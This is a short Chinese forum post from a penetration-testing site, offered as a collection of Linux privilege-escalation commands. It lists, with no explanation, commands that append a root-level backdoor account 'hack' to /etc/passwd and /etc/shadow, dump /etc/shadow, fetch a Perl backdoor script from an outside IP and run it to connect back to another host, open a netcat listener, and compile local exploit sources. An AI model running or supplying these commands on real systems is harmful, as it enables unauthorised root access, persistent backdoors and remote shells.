中国网络渗透测试联盟

标题: linux提权命令收集 [打印本页]

作者: admin    时间: 2012-12-4 11:38
标题: linux提权命令收集
cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "root"
echo hack:x:0:0:root:/root:/bin/bash >>/etc/passwd

cat /etc/shadow
echo hack::133380:0:99999:7::: >>/etc/shadow
wget http://58.19.202.2x/back.pl
passwd hack

ps -aux

whoami
uname -a
nc -vv -lp 123456

cd test;wget http://www.myhack58.com
perl back.pl 58.252.46.142 60
ls

which gcc
gcc exp.c -o exp
gcc -o brk brk.c -static

uptime //看在线时间
cat /etc/issue //看版本​





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2